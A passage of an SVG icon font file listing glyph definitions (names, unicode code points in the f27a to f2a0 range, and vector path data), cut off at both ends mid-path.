q0 20 17 28l480 256q7 4 15 4zM640 1536q8 0 14 -3l512 -256q18 -10 18 -29v-1472q0 -13 -9.5 -22.5t-22.5 -9.5q-8 0 -14 3l-512 256q-18 10 -18 29v1472q0 13 9.5 22.5t22.5 9.5z" />
    <glyph glyph-name="_595" unicode="&#xf27a;" horiz-adv-x="1792" 
d="M640 640q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1024 640q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1408 640q0 53 -37.5 90.5t-90.5 37.5
t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1792 640q0 -174 -120 -321.5t-326 -233t-450 -85.5q-110 0 -211 18q-173 -173 -435 -229q-52 -10 -86 -13q-12 -1 -22 6t-13 18q-4 15 20 37q5 5 23.5 21.5t25.5 23.5t23.5 25.5t24 31.5t20.5 37
t20 48t14.5 57.5t12.5 72.5q-146 90 -229.5 216.5t-83.5 269.5q0 174 120 321.5t326 233t450 85.5t450 -85.5t326 -233t120 -321.5z" />
    <glyph glyph-name="_596" unicode="&#xf27b;" horiz-adv-x="1792" 
d="M640 640q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1024 640q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1408 640q0 -53 -37.5 -90.5t-90.5 -37.5
t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM896 1152q-204 0 -381.5 -69.5t-282 -187.5t-104.5 -255q0 -112 71.5 -213.5t201.5 -175.5l87 -50l-27 -96q-24 -91 -70 -172q152 63 275 171l43 38l57 -6q69 -8 130 -8q204 0 381.5 69.5t282 187.5
t104.5 255t-104.5 255t-282 187.5t-381.5 69.5zM1792 640q0 -174 -120 -321.5t-326 -233t-450 -85.5q-70 0 -145 8q-198 -175 -460 -242q-49 -14 -114 -22h-5q-15 0 -27 10.5t-16 27.5v1q-3 4 -0.5 12t2 10t4.5 9.5l6 9t7 8.5t8 9q7 8 31 34.5t34.5 38t31 39.5t32.5 51
t27 59t26 76q-157 89 -247.5 220t-90.5 281q0 130 71 248.5t191 204.5t286 136.5t348 50.5t348 -50.5t286 -136.5t191 -204.5t71 -248.5z" />
    <glyph glyph-name="_597" unicode="&#xf27c;" horiz-adv-x="1024" 
d="M512 345l512 295v-591l-512 -296v592zM0 640v-591l512 296zM512 1527v-591l-512 -296v591zM512 936l512 295v-591z" />
    <glyph glyph-name="_598" unicode="&#xf27d;" horiz-adv-x="1792" 
d="M1709 1018q-10 -236 -332 -651q-333 -431 -562 -431q-142 0 -240 263q-44 160 -132 482q-72 262 -157 262q-18 0 -127 -76l-77 98q24 21 108 96.5t130 115.5q156 138 241 146q95 9 153 -55.5t81 -203.5q44 -287 66 -373q55 -249 120 -249q51 0 154 161q101 161 109 246
q13 139 -109 139q-57 0 -121 -26q120 393 459 382q251 -8 236 -326z" />
    <glyph glyph-name="f27e" unicode="&#xf27e;" 
d="M0 1408h1536v-1536h-1536v1536zM1085 293l-221 631l221 297h-634l221 -297l-221 -631l317 -304z" />
    <glyph glyph-name="uniF280" unicode="&#xf280;" 
d="M0 1408h1536v-1536h-1536v1536zM908 1088l-12 -33l75 -83l-31 -114l25 -25l107 57l107 -57l25 25l-31 114l75 83l-12 33h-95l-53 96h-32l-53 -96h-95zM641 925q32 0 44.5 -16t11.5 -63l174 21q0 55 -17.5 92.5t-50.5 56t-69 25.5t-85 7q-133 0 -199 -57.5t-66 -182.5v-72
h-96v-128h76q20 0 20 -8v-382q0 -14 -5 -20t-18 -7l-73 -7v-88h448v86l-149 14q-6 1 -8.5 1.5t-3.5 2.5t-0.5 4t1 7t0.5 10v387h191l38 128h-231q-6 0 -2 6t4 9v80q0 27 1.5 40.5t7.5 28t19.5 20t36.5 5.5zM1248 96v86l-54 9q-7 1 -9.5 2.5t-2.5 3t1 7.5t1 12v520h-275
l-23 -101l83 -22q23 -7 23 -27v-370q0 -14 -6 -18.5t-20 -6.5l-70 -9v-86h352z" />
    <glyph glyph-name="uniF281" unicode="&#xf281;" horiz-adv-x="1792" 
d="M1792 690q0 -58 -29.5 -105.5t-79.5 -72.5q12 -46 12 -96q0 -155 -106.5 -287t-290.5 -208.5t-400 -76.5t-399.5 76.5t-290 208.5t-106.5 287q0 47 11 94q-51 25 -82 73.5t-31 106.5q0 82 58 140.5t141 58.5q85 0 145 -63q218 152 515 162l116 521q3 13 15 21t26 5
l369 -81q18 37 54 59.5t79 22.5q62 0 106 -43.5t44 -105.5t-44 -106t-106 -44t-105.5 43.5t-43.5 105.5l-334 74l-104 -472q300 -9 519 -160q58 61 143 61q83 0 141 -58.5t58 -140.5zM418 491q0 -62 43.5 -106t105.5 -44t106 44t44 106t-44 105.5t-106 43.5q-61 0 -105 -44
t-44 -105zM1228 136q11 11 11 26t-11 26q-10 10 -25 10t-26 -10q-41 -42 -121 -62t-160 -20t-160 20t-121 62q-11 10 -26 10t-25 -10q-11 -10 -11 -25.5t11 -26.5q43 -43 118.5 -68t122.5 -29.5t91 -4.5t91 4.5t122.5 29.5t118.5 68zM1225 341q62 0 105.5 44t43.5 106
q0 61 -44 105t-105 44q-62 0 -106 -43.5t-44 -105.5t44 -106t106 -44z" />
    <glyph glyph-name="_602" unicode="&#xf282;" horiz-adv-x="1792" 
d="M69 741h1q16 126 58.5 241.5t115 217t167.5 176t223.5 117.5t276.5 43q231 0 414 -105.5t294 -303.5q104 -187 104 -442v-188h-1125q1 -111 53.5 -192.5t136.5 -122.5t189.5 -57t213 -3t208 46.5t173.5 84.5v-377q-92 -55 -229.5 -92t-312.5 -38t-316 53
q-189 73 -311.5 249t-124.5 372q-3 242 111 412t325 268q-48 -60 -78 -125.5t-46 -159.5h635q8 77 -8 140t-47 101.5t-70.5 66.5t-80.5 41t-75 20.5t-56 8.5l-22 1q-135 -5 -259.5 -44.5t-223.5 -104.5t-176 -140.5t-138 -163.5z" />
    <glyph glyph-name="_603" unicode="&#xf283;" horiz-adv-x="2304" 
d="M0 32v608h2304v-608q0 -66 -47 -113t-113 -47h-1984q-66 0 -113 47t-47 113zM640 256v-128h384v128h-384zM256 256v-128h256v128h-256zM2144 1408q66 0 113 -47t47 -113v-224h-2304v224q0 66 47 113t113 47h1984z" />
    <glyph glyph-name="_604" unicode="&#xf284;" horiz-adv-x="1792" 
d="M1584 246l-218 111q-74 -120 -196.5 -189t-263.5 -69q-147 0 -271 72t-196 196t-72 270q0 110 42.5 209.5t115 172t172 115t209.5 42.5q131 0 247.5 -60.5t192.5 -168.5l215 125q-110 169 -286.5 265t-378.5 96q-161 0 -308 -63t-253 -169t-169 -253t-63 -308t63 -308
t169 -253t253 -169t308 -63q213 0 397.5 107t290.5 292zM1030 643l693 -352q-116 -253 -334.5 -400t-492.5 -147q-182 0 -348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71q260 0 470.5 -133.5t335.5 -366.5zM1543 640h-39v-160h-96v352h136q32 0 54.5 -20
t28.5 -48t1 -56t-27.5 -48t-57.5 -20z" />
    <glyph glyph-name="uniF285" unicode="&#xf285;" horiz-adv-x="1792" 
d="M1427 827l-614 386l92 151h855zM405 562l-184 116v858l1183 -743zM1424 697l147 -95v-858l-532 335zM1387 718l-500 -802h-855l356 571z" />
    <glyph glyph-name="uniF286" unicode="&#xf286;" horiz-adv-x="1792" 
d="M640 528v224q0 16 -16 16h-96q-16 0 -16 -16v-224q0 -16 16 -16h96q16 0 16 16zM1152 528v224q0 16 -16 16h-96q-16 0 -16 -16v-224q0 -16 16 -16h96q16 0 16 16zM1664 496v-752h-640v320q0 80 -56 136t-136 56t-136 -56t-56 -136v-320h-640v752q0 16 16 16h96
q16 0 16 -16v-112h128v624q0 16 16 16h96q16 0 16 -16v-112h128v112q0 16 16 16h96q16 0 16 -16v-112h128v112q0 6 2.5 9.5t8.5 5t9.5 2t11.5 0t9 -0.5v391q-32 15 -32 50q0 23 16.5 39t38.5 16t38.5 -16t16.5 -39q0 -35 -32 -50v-17q45 10 83 10q21 0 59.5 -7.5t54.5 -7.5
q17 0 47 7.5t37 7.5q16 0 16 -16v-210q0 -15 -35 -21.5t-62 -6.5q-18 0 -54.5 7.5t-55.5 7.5q-40 0 -90 -12v-133q1 0 9 0.5t11.5 0t9.5 -2t8.5 -5t2.5 -9.5v-112h128v112q0 16 16 16h96q16 0 16 -16v-112h128v112q0 16 16 16h96q16 0 16 -16v-624h128v112q0 16 16 16h96
q16 0 16 -16z" />
    <glyph glyph-name="_607" unicode="&#xf287;" horiz-adv-x="2304" 
d="M2288 731q16 -8 16 -27t-16 -27l-320 -192q-8 -5 -16 -5q-9 0 -16 4q-16 10 -16 28v128h-858q37 -58 83 -165q16 -37 24.5 -55t24 -49t27 -47t27 -34t31.5 -26t33 -8h96v96q0 14 9 23t23 9h320q14 0 23 -9t9 -23v-320q0 -14 -9 -23t-23 -9h-320q-14 0 -23 9t-9 23v96h-96
q-32 0 -61 10t-51 23.5t-45 40.5t-37 46t-33.5 57t-28.5 57.5t-28 60.5q-23 53 -37 81.5t-36 65t-44.5 53.5t-46.5 17h-360q-22 -84 -91 -138t-157 -54q-106 0 -181 75t-75 181t75 181t181 75q88 0 157 -54t91 -138h104q24 0 46.5 17t44.5 53.5t36 65t37 81.5q19 41 28 60.5
t28.5 57.5t33.5 57t37 46t45 40.5t51 23.5t61 10h107q21 57 70 92.5t111 35.5q80 0 136 -56t56 -136t-56 -136t-136 -56q-62 0 -111 35.5t-70 92.5h-107q-17 0 -33 -8t-31.5 -26t-27 -34t-27 -47t-24 -49t-24.5 -55q-46 -107 -83 -165h1114v128q0 18 16 28t32 -1z" />
    <glyph glyph-name="_608" unicode="&#xf288;" horiz-adv-x="1792" 
d="M1150 774q0 -56 -39.5 -95t-95.5 -39h-253v269h253q56 0 95.5 -39.5t39.5 -95.5zM1329 774q0 130 -91.5 222t-222.5 92h-433v-896h180v269h253q130 0 222 91.5t92 221.5zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348
t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="_609" unicode="&#xf289;" horiz-adv-x="2304" 
d="M1645 438q0 59 -34 106.5t-87 68.5q-7 -45 -23 -92q-7 -24 -27.5 -38t-44.5 -14q-12 0 -24 3q-31 10 -45 38.5t-4 58.5q23 71 23 143q0 123 -61 227.5t-166 165.5t-228 61q-134 0 -247 -73t-167 -194q108 -28 188 -106q22 -23 22 -55t-22 -54t-54 -22t-55 22
q-75 75 -180 75q-106 0 -181 -74.5t-75 -180.5t75 -180.5t181 -74.5h1046q79 0 134.5 55.5t55.5 133.5zM1798 438q0 -142 -100.5 -242t-242.5 -100h-1046q-169 0 -289 119.5t-120 288.5q0 153 100 267t249 136q62 184 221 298t354 114q235 0 408.5 -158.5t196.5 -389.5
q116 -25 192.5 -118.5t76.5 -214.5zM2048 438q0 -175 -97 -319q-23 -33 -64 -33q-24 0 -43 13q-26 17 -32 48.5t12 57.5q71 104 71 233t-71 233q-18 26 -12 57t32 49t57.5 11.5t49.5 -32.5q97 -142 97 -318zM2304 438q0 -244 -134 -443q-23 -34 -64 -34q-23 0 -42 13
q-26 18 -32.5 49t11.5 57q108 164 108 358q0 195 -108 357q-18 26 -11.5 57.5t32.5 48.5q26 18 57 12t49 -33q134 -198 134 -442z" />
    <glyph glyph-name="_610" unicode="&#xf28a;" 
d="M1500 -13q0 -89 -63 -152.5t-153 -63.5t-153.5 63.5t-63.5 152.5q0 90 63.5 153.5t153.5 63.5t153 -63.5t63 -153.5zM1267 268q-115 -15 -192.5 -102.5t-77.5 -205.5q0 -74 33 -138q-146 -78 -379 -78q-109 0 -201 21t-153.5 54.5t-110.5 76.5t-76 85t-44.5 83
t-23.5 66.5t-6 39.5q0 19 4.5 42.5t18.5 56t36.5 58t64 43.5t94.5 18t94 -17.5t63 -41t35.5 -53t17.5 -49t4 -33.5q0 -34 -23 -81q28 -27 82 -42t93 -17l40 -1q115 0 190 51t75 133q0 26 -9 48.5t-31.5 44.5t-49.5 41t-74 44t-93.5 47.5t-119.5 56.5q-28 13 -43 20
q-116 55 -187 100t-122.5 102t-72 125.5t-20.5 162.5q0 78 20.5 150t66 137.5t112.5 114t166.5 77t221.5 28.5q120 0 220 -26t164.5 -67t109.5 -94t64 -105.5t19 -103.5q0 -46 -15 -82.5t-36.5 -58t-48.5 -36t-49 -19.5t-39 -5h-8h-32t-39 5t-44 14t-41 28t-37 46t-24 70.5
t-10 97.5q-15 16 -59 25.5t-81 10.5l-37 1q-68 0 -117.5 -31t-70.5 -70t-21 -76q0 -24 5 -43t24 -46t53 -51t97 -53.5t150 -58.5q76 -25 138.5 -53.5t109 -55.5t83 -59t60.5 -59.5t41 -62.5t26.5 -62t14.5 -63.5t6 -62t1 -62.5z" />
    <glyph glyph-name="_611" unicode="&#xf28b;" 
d="M704 352v576q0 14 -9 23t-23 9h-256q-14 0 -23 -9t-9 -23v-576q0 -14 9 -23t23 -9h256q14 0 23 9t9 23zM1152 352v576q0 14 -9 23t-23 9h-256q-14 0 -23 -9t-9 -23v-576q0 -14 9 -23t23 -9h256q14 0 23 9t9 23zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103
t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_612" unicode="&#xf28c;" 
d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM768 96q148 0 273 73t198 198t73 273t-73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273
t73 -273t198 -198t273 -73zM864 320q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-576q0 -14 -9 -23t-23 -9h-192zM480 320q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-576q0 -14 -9 -23t-23 -9h-192z" />
    <glyph glyph-name="_613" unicode="&#xf28d;" 
d="M1088 352v576q0 14 -9 23t-23 9h-576q-14 0 -23 -9t-9 -23v-576q0 -14 9 -23t23 -9h576q14 0 23 9t9 23zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5
t103 -385.5z" />
    <glyph glyph-name="_614" unicode="&#xf28e;" 
d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM768 96q148 0 273 73t198 198t73 273t-73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273
t73 -273t198 -198t273 -73zM480 320q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h576q14 0 23 -9t9 -23v-576q0 -14 -9 -23t-23 -9h-576z" />
    <glyph glyph-name="_615" unicode="&#xf290;" horiz-adv-x="1792" 
d="M1757 128l35 -313q3 -28 -16 -50q-19 -21 -48 -21h-1664q-29 0 -48 21q-19 22 -16 50l35 313h1722zM1664 967l86 -775h-1708l86 775q3 24 21 40.5t43 16.5h256v-128q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5v128h384v-128q0 -53 37.5 -90.5t90.5 -37.5
t90.5 37.5t37.5 90.5v128h256q25 0 43 -16.5t21 -40.5zM1280 1152v-256q0 -26 -19 -45t-45 -19t-45 19t-19 45v256q0 106 -75 181t-181 75t-181 -75t-75 -181v-256q0 -26 -19 -45t-45 -19t-45 19t-19 45v256q0 159 112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5z" />
    <glyph glyph-name="_616" unicode="&#xf291;" horiz-adv-x="2048" 
d="M1920 768q53 0 90.5 -37.5t37.5 -90.5t-37.5 -90.5t-90.5 -37.5h-15l-115 -662q-8 -46 -44 -76t-82 -30h-1280q-46 0 -82 30t-44 76l-115 662h-15q-53 0 -90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5h1792zM485 -32q26 2 43.5 22.5t15.5 46.5l-32 416q-2 26 -22.5 43.5
t-46.5 15.5t-43.5 -22.5t-15.5 -46.5l32 -416q2 -25 20.5 -42t43.5 -17h5zM896 32v416q0 26 -19 45t-45 19t-45 -19t-19 -45v-416q0 -26 19 -45t45 -19t45 19t19 45zM1280 32v416q0 26 -19 45t-45 19t-45 -19t-19 -45v-416q0 -26 19 -45t45 -19t45 19t19 45zM1632 27l32 416
q2 26 -15.5 46.5t-43.5 22.5t-46.5 -15.5t-22.5 -43.5l-32 -416q-2 -26 15.5 -46.5t43.5 -22.5h5q25 0 43.5 17t20.5 42zM476 1244l-93 -412h-132l101 441q19 88 89 143.5t160 55.5h167q0 26 19 45t45 19h384q26 0 45 -19t19 -45h167q90 0 160 -55.5t89 -143.5l101 -441
h-132l-93 412q-11 44 -45.5 72t-79.5 28h-167q0 -26 -19 -45t-45 -19h-384q-26 0 -45 19t-19 45h-167q-45 0 -79.5 -28t-45.5 -72z" />
    <glyph glyph-name="_617" unicode="&#xf292;" horiz-adv-x="1792" 
d="M991 512l64 256h-254l-64 -256h254zM1759 1016l-56 -224q-7 -24 -31 -24h-327l-64 -256h311q15 0 25 -12q10 -14 6 -28l-56 -224q-5 -24 -31 -24h-327l-81 -328q-7 -24 -31 -24h-224q-16 0 -26 12q-9 12 -6 28l78 312h-254l-81 -328q-7 -24 -31 -24h-225q-15 0 -25 12
q-9 12 -6 28l78 312h-311q-15 0 -25 12q-9 12 -6 28l56 224q7 24 31 24h327l64 256h-311q-15 0 -25 12q-10 14 -6 28l56 224q5 24 31 24h327l81 328q7 24 32 24h224q15 0 25 -12q9 -12 6 -28l-78 -312h254l81 328q7 24 32 24h224q15 0 25 -12q9 -12 6 -28l-78 -312h311
q15 0 25 -12q9 -12 6 -28z" />
    <glyph glyph-name="_618" unicode="&#xf293;" 
d="M841 483l148 -148l-149 -149zM840 1094l149 -149l-148 -148zM710 -130l464 464l-306 306l306 306l-464 464v-611l-255 255l-93 -93l320 -321l-320 -321l93 -93l255 255v-611zM1429 640q0 -209 -32 -365.5t-87.5 -257t-140.5 -162.5t-181.5 -86.5t-219.5 -24.5
t-219.5 24.5t-181.5 86.5t-140.5 162.5t-87.5 257t-32 365.5t32 365.5t87.5 257t140.5 162.5t181.5 86.5t219.5 24.5t219.5 -24.5t181.5 -86.5t140.5 -162.5t87.5 -257t32 -365.5z" />
    <glyph glyph-name="_619" unicode="&#xf294;" horiz-adv-x="1024" 
d="M596 113l173 172l-173 172v-344zM596 823l173 172l-173 172v-344zM628 640l356 -356l-539 -540v711l-297 -296l-108 108l372 373l-372 373l108 108l297 -296v711l539 -540z" />
    <glyph glyph-name="_620" unicode="&#xf295;" 
d="M1280 256q0 52 -38 90t-90 38t-90 -38t-38 -90t38 -90t90 -38t90 38t38 90zM512 1024q0 52 -38 90t-90 38t-90 -38t-38 -90t38 -90t90 -38t90 38t38 90zM1536 256q0 -159 -112.5 -271.5t-271.5 -112.5t-271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5t271.5 -112.5
t112.5 -271.5zM1440 1344q0 -20 -13 -38l-1056 -1408q-19 -26 -51 -26h-160q-26 0 -45 19t-19 45q0 20 13 38l1056 1408q19 26 51 26h160q26 0 45 -19t19 -45zM768 1024q0 -159 -112.5 -271.5t-271.5 -112.5t-271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5
t271.5 -112.5t112.5 -271.5z" />
    <glyph glyph-name="_621" unicode="&#xf296;" horiz-adv-x="1792" 
d="M104 830l792 -1015l-868 630q-18 13 -25 34.5t0 42.5l101 308v0zM566 830h660l-330 -1015v0zM368 1442l198 -612h-462l198 612q8 23 33 23t33 -23zM1688 830l101 -308q7 -21 0 -42.5t-25 -34.5l-868 -630l792 1015v0zM1688 830h-462l198 612q8 23 33 23t33 -23z" />
    <glyph glyph-name="_622" unicode="&#xf297;" horiz-adv-x="1792" 
d="M384 704h160v224h-160v-224zM1221 372v92q-104 -36 -243 -38q-135 -1 -259.5 46.5t-220.5 122.5l1 -96q88 -80 212 -128.5t272 -47.5q129 0 238 49zM640 704h640v224h-640v-224zM1792 736q0 -187 -99 -352q89 -102 89 -229q0 -157 -129.5 -268t-313.5 -111
q-122 0 -225 52.5t-161 140.5q-19 -1 -57 -1t-57 1q-58 -88 -161 -140.5t-225 -52.5q-184 0 -313.5 111t-129.5 268q0 127 89 229q-99 165 -99 352q0 209 120 385.5t326.5 279.5t449.5 103t449.5 -103t326.5 -279.5t120 -385.5z" />
    <glyph glyph-name="_623" unicode="&#xf298;" 
d="M515 625v-128h-252v128h252zM515 880v-127h-252v127h252zM1273 369v-128h-341v128h341zM1273 625v-128h-672v128h672zM1273 880v-127h-672v127h672zM1408 20v1240q0 8 -6 14t-14 6h-32l-378 -256l-210 171l-210 -171l-378 256h-32q-8 0 -14 -6t-6 -14v-1240q0 -8 6 -14
t14 -6h1240q8 0 14 6t6 14zM553 1130l185 150h-406zM983 1130l221 150h-406zM1536 1260v-1240q0 -62 -43 -105t-105 -43h-1240q-62 0 -105 43t-43 105v1240q0 62 43 105t105 43h1240q62 0 105 -43t43 -105z" />
    <glyph glyph-name="_624" unicode="&#xf299;" horiz-adv-x="1792" 
d="M896 720q-104 196 -160 278q-139 202 -347 318q-34 19 -70 36q-89 40 -94 32t34 -38l39 -31q62 -43 112.5 -93.5t94.5 -116.5t70.5 -113t70.5 -131q9 -17 13 -25q44 -84 84 -153t98 -154t115.5 -150t131 -123.5t148.5 -90.5q153 -66 154 -60q1 3 -49 37q-53 36 -81 57
q-77 58 -179 211t-185 310zM549 177q-76 60 -132.5 125t-98 143.5t-71 154.5t-58.5 186t-52 209t-60.5 252t-76.5 289q273 0 497.5 -36t379 -92t271 -144.5t185.5 -172.5t110 -198.5t56 -199.5t12.5 -198.5t-9.5 -173t-20 -143.5t-13 -107l323 -327h-104l-281 285
q-22 -2 -91.5 -14t-121.5 -19t-138 -6t-160.5 17t-167.5 59t-179 111z" />
    <glyph glyph-name="_625" unicode="&#xf29a;" horiz-adv-x="1792" 
d="M1374 879q-6 26 -28.5 39.5t-48.5 7.5q-261 -62 -401 -62t-401 62q-26 6 -48.5 -7.5t-28.5 -39.5t7.5 -48.5t39.5 -28.5q194 -46 303 -58q-2 -158 -15.5 -269t-26.5 -155.5t-41 -115.5l-9 -21q-10 -25 1 -49t36 -34q9 -4 23 -4q44 0 60 41l8 20q54 139 71 259h42
q17 -120 71 -259l8 -20q16 -41 60 -41q14 0 23 4q25 10 36 34t1 49l-9 21q-28 71 -41 115.5t-26.5 155.5t-15.5 269q109 12 303 58q26 6 39.5 28.5t7.5 48.5zM1024 1024q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5z
M1600 640q0 -143 -55.5 -273.5t-150 -225t-225 -150t-273.5 -55.5t-273.5 55.5t-225 150t-150 225t-55.5 273.5t55.5 273.5t150 225t225 150t273.5 55.5t273.5 -55.5t225 -150t150 -225t55.5 -273.5zM896 1408q-156 0 -298 -61t-245 -164t-164 -245t-61 -298t61 -298
t164 -245t245 -164t298 -61t298 61t245 164t164 245t61 298t-61 298t-164 245t-245 164t-298 61zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="_626" unicode="&#xf29b;" 
d="M1438 723q34 -35 29 -82l-44 -551q-4 -42 -34.5 -70t-71.5 -28q-6 0 -9 1q-44 3 -72.5 36.5t-25.5 77.5l35 429l-143 -8q55 -113 55 -240q0 -216 -148 -372l-137 137q91 101 91 235q0 145 -102.5 248t-247.5 103q-134 0 -236 -92l-137 138q120 114 284 141l264 300
l-149 87l-181 -161q-33 -30 -77 -27.5t-73 35.5t-26.5 77t34.5 73l239 213q26 23 60 26.5t64 -14.5l488 -283q36 -21 48 -68q17 -67 -26 -117l-205 -232l371 20q49 3 83 -32zM1240 1180q-74 0 -126 52t-52 126t52 126t126 52t126.5 -52t52.5 -126t-52.5 -126t-126.5 -52z
M613 -62q106 0 196 61l139 -139q-146 -116 -335 -116q-148 0 -273.5 73t-198.5 198t-73 273q0 188 116 336l139 -139q-60 -88 -60 -197q0 -145 102.5 -247.5t247.5 -102.5z" />
    <glyph glyph-name="_627" unicode="&#xf29c;" 
d="M880 336v-160q0 -14 -9 -23t-23 -9h-160q-14 0 -23 9t-9 23v160q0 14 9 23t23 9h160q14 0 23 -9t9 -23zM1136 832q0 -50 -15 -90t-45.5 -69t-52 -44t-59.5 -36q-32 -18 -46.5 -28t-26 -24t-11.5 -29v-32q0 -14 -9 -23t-23 -9h-160q-14 0 -23 9t-9 23v68q0 35 10.5 64.5
t24 47.5t39 35.5t41 25.5t44.5 21q53 25 75 43t22 49q0 42 -43.5 71.5t-95.5 29.5q-56 0 -95 -27q-29 -20 -80 -83q-9 -12 -25 -12q-11 0 -19 6l-108 82q-10 7 -12 20t5 23q122 192 349 192q129 0 238.5 -89.5t109.5 -214.5zM768 1280q-130 0 -248.5 -51t-204 -136.5
t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5t-51 248.5t-136.5 204t-204 136.5t-248.5 51zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5
t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_628" unicode="&#xf29d;" horiz-adv-x="1408" 
d="M366 1225q-64 0 -110 45.5t-46 110.5q0 64 46 109.5t110 45.5t109.5 -45.5t45.5 -109.5q0 -65 -45.5 -110.5t-109.5 -45.5zM917 583q0 -50 -30 -67.5t-63.5 -6.5t-47.5 34l-367 438q-7 12 -14 15.5t-11 1.5l-3 -3q-7 -8 4 -21l122 -139l1 -354l-161 -457
q-67 -192 -92 -234q-15 -26 -28 -32q-50 -26 -103 -1q-29 13 -41.5 43t-9.5 57q2 17 197 618l5 416l-85 -164l35 -222q4 -24 -1 -42t-14 -27.5t-19 -16t-17 -7.5l-7 -2q-19 -3 -34.5 3t-24 16t-14 22t-7.5 19.5t-2 9.5l-46 299l211 381q23 34 113 34q75 0 107 -40l424 -521
q7 -5 14 -17l3 -3l-1 -1q7 -13 7 -29zM514 433q43 -113 88.5 -225t69.5 -168l24 -55q36 -93 42 -125q11 -70 -36 -97q-35 -22 -66 -16t-51 22t-29 35h-1q-6 16 -8 25l-124 351zM1338 -159q31 -49 31 -57q0 -5 -3 -7q-9 -5 -14.5 0.5t-15.5 26t-16 30.5q-114 172 -423 661
q3 -1 7 1t7 4l3 2q11 9 11 17z" />
    <glyph glyph-name="_629" unicode="&#xf29e;" horiz-adv-x="2304" 
d="M504 542h171l-1 265zM1530 641q0 87 -50.5 140t-146.5 53h-54v-388h52q91 0 145 57t54 138zM956 1018l1 -756q0 -14 -9.5 -24t-23.5 -10h-216q-14 0 -23.5 10t-9.5 24v62h-291l-55 -81q-10 -15 -28 -15h-267q-21 0 -30.5 18t3.5 35l556 757q9 14 27 14h332q14 0 24 -10
t10 -24zM1783 641q0 -193 -125.5 -303t-324.5 -110h-270q-14 0 -24 10t-10 24v756q0 14 10 24t24 10h268q200 0 326 -109t126 -302zM1939 640q0 -11 -0.5 -29t-8 -71.5t-21.5 -102t-44.5 -108t-73.5 -102.5h-51q38 45 66.5 104.5t41.5 112t21 98t9 72.5l1 27q0 8 -0.5 22.5
t-7.5 60t-20 91.5t-41 111.5t-66 124.5h43q41 -47 72 -107t45.5 -111.5t23 -96t10.5 -70.5zM2123 640q0 -11 -0.5 -29t-8 -71.5t-21.5 -102t-45 -108t-74 -102.5h-51q38 45 66.5 104.5t41.5 112t21 98t9 72.5l1 27q0 8 -0.5 22.5t-7.5 60t-19.5 91.5t-40.5 111.5t-66 124.5
h43q41 -47 72 -107t45.5 -111.5t23 -96t10.5 -70.5zM2304 640q0 -11 -0.5 -29t-8 -71.5t-21.5 -102t-44.5 -108t-73.5 -102.5h-51q38 45 66 104.5t41 112t21 98t9 72.5l1 27q0 8 -0.5 22.5t-7.5 60t-19.5 91.5t-40.5 111.5t-66 124.5h43q41 -47 72 -107t45.5 -111.5t23 -96
t9.5 -70.5z" />
    <glyph glyph-name="uniF2A0" unicode="&#xf2a0;" horiz-adv-x="1408" 
d="M617 -153q0 11 -13 58t-31 107t-20 69q-1 4 -5 26.5t-8.5 36t-13.5 21.5q-15 14 -51 14q-23 0 -70 -5.5t-71 -5.5q-34 0 -47 11q-6 5 -11 15.5t-7.5 20t-6.5 24t-5 18.5q-37 128 -37 255t37 255q1 4 5 18.5t6.5 24t7.5 20t11 15.5q13 11 47 11q24 0 71 -5.5t70 -5.5
